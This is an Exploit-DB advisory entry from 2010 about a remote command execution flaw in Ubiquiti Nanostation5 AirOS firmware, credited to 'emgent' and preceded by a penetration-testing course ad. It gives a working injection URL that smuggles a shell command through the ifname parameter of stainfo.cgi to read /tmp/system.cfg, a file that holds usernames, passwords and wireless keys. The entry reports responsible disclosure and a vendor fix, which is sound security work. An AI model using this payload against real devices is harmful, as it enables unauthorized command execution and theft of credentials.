Ubiquity Nanostation5 (Air OS) - Remote Command Execution

EDB-ID:

14146

CVE:



Author:

emgent

Type:

webapps


Platform:

Hardware

Date:

2010-06-30


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

GET CERTIFIED

# Exploit Title: Ubiquity Nanostation5 (Air OS) 0day Remote Command Execution
# Date: 01 07 2010
# Author: Emanuele 'emgent' Gentili
# Software Link: N/A
# Version: AirOS all firmwares
# CVE : N/A


[+] Vulnerability Descrition
With not privileged account, like read-only, an attacker is able to execute commands into
the system via web application panel. Knowing that the system.cfg file is located in /tmp/ directory,
will be simple read the content (like users, password, wireless key ecc.).
The vulnerable function is about "Show AP info", that is located in the main page of web panel
in the section "Extra Informations".


[+] The Remote Command Execution string
http://router_ip/stainfo.cgi?ifname=eth0;cat%20/tmp/system.cfg|grep%20users


[+] Responsible Disclosure
After some mail with Ubnt QA and Security Team people, the fixed firmware was released.